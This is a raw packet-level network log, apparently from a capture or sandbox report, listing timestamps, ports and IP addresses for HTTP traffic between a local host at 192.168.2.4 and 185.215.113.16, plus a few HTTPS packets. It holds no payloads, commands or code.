Nov 23, 2024 20:23:37.530087948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530105114 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530122042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530910969 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530925989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530941963 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530955076 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.530968904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530981064 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.530985117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.530989885 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.530999899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531013966 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.531017065 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531037092 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.531054020 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531157970 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.531846046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531888962 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.531894922 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531908989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531930923 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.531964064 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.531974077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.531990051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532006025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532007933 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532023907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532026052 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532103062 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532104015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532146931 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532778978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532825947 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532829046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532845020 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532860994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532870054 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532883883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.532887936 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.532938957 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533024073 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533037901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533054113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533068895 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533091068 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533106089 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533698082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533739090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533746958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533761978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533793926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533809900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533813953 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533827066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533832073 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533844948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533849001 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533862114 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533875942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.533878088 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.533932924 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.534660101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.534696102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.534719944 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.535461903 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.570801973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.570960999 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.570987940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571002960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571017981 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571043015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571058035 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571074009 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571150064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571166039 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571182966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571197987 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571258068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571274996 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571291924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.571307898 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572098970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572124958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572141886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572174072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572200060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572215080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572231054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.572267056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573020935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573066950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573084116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573133945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573148012 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573163986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573179960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573196888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.573956966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574058056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574071884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574088097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574104071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574120045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574136019 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574151993 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.574711084 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.574765921 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.574785948 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.574817896 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.574958086 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.675879955 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.675915003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.675925016 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.675997972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676012039 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676023960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676034927 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676045895 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676057100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676069975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676791906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676942110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676953077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676971912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.676984072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.677073956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.685380936 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.685959101 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.712549925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712634087 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712645054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712732077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712743044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712753057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712762117 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.712763071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712922096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.712925911 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.712992907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713013887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713026047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713310003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713329077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713340998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713416100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713426113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713437080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713447094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.713458061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714387894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714427948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714438915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714514971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714526892 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714538097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714549065 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714560986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.714950085 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.715029955 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.715056896 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.715188980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715238094 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.715300083 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715316057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715327024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715337992 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715349913 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715361118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715373039 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.715871096 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.716133118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716182947 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716193914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716275930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716285944 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716295958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716308117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716310978 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.716320038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.716337919 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.716355085 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.717123985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717135906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717147112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717168093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717176914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717186928 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717194080 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.717216969 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.717241049 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.717267990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717278957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.717363119 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.718235016 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.718272924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.718283892 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.718302011 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.718327999 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.752439976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752504110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752515078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752696037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752706051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752738953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752749920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752793074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752804041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752815008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.752886057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753530025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753577948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753588915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753598928 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753654957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753667116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753676891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.753712893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754461050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754513979 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754524946 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754564047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754575014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754585028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754595995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.754663944 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755425930 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755445004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755456924 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755601883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755614042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755623102 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.755634069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762676001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762729883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762741089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762917995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762928009 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762938976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.762948990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.764087915 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.784285069 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.804431915 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.814533949 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.814579964 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.867872953 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867948055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867953062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867957115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867964983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867974043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867984056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.867989063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868725061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868735075 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868745089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868788958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868798971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868808985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.868818998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.882575989 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.882623911 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.903835058 CET	443	49843	35.190.72.216	192.168.2.4
Nov 23, 2024 20:23:37.904433966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904490948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904503107 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904588938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904645920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904656887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904762983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.904774904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905061007 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905111074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905122995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905214071 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:37.905232906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905245066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905257940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905263901 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.905271053 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905827045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905875921 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905888081 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905946970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905957937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905971050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.905982971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906045914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906775951 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906802893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906815052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906893015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906903982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906914949 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906928062 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.906939983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907715082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907767057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907777071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907862902 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907871962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907886028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907896042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.907907009 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908641100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908684969 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908695936 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908755064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908765078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908776045 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908787966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.908842087 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909569025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909621000 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909631968 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909683943 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909694910 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909703970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909714937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.909745932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.925383091 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.944778919 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.944858074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.944868088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.944972992 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.944982052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.944993973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945003986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945107937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945161104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945173025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945228100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945236921 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945246935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945257902 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945313931 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.945569038 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.946048021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946103096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.946114063 CET	80	49827	185.215.113.16	192.168.2.4
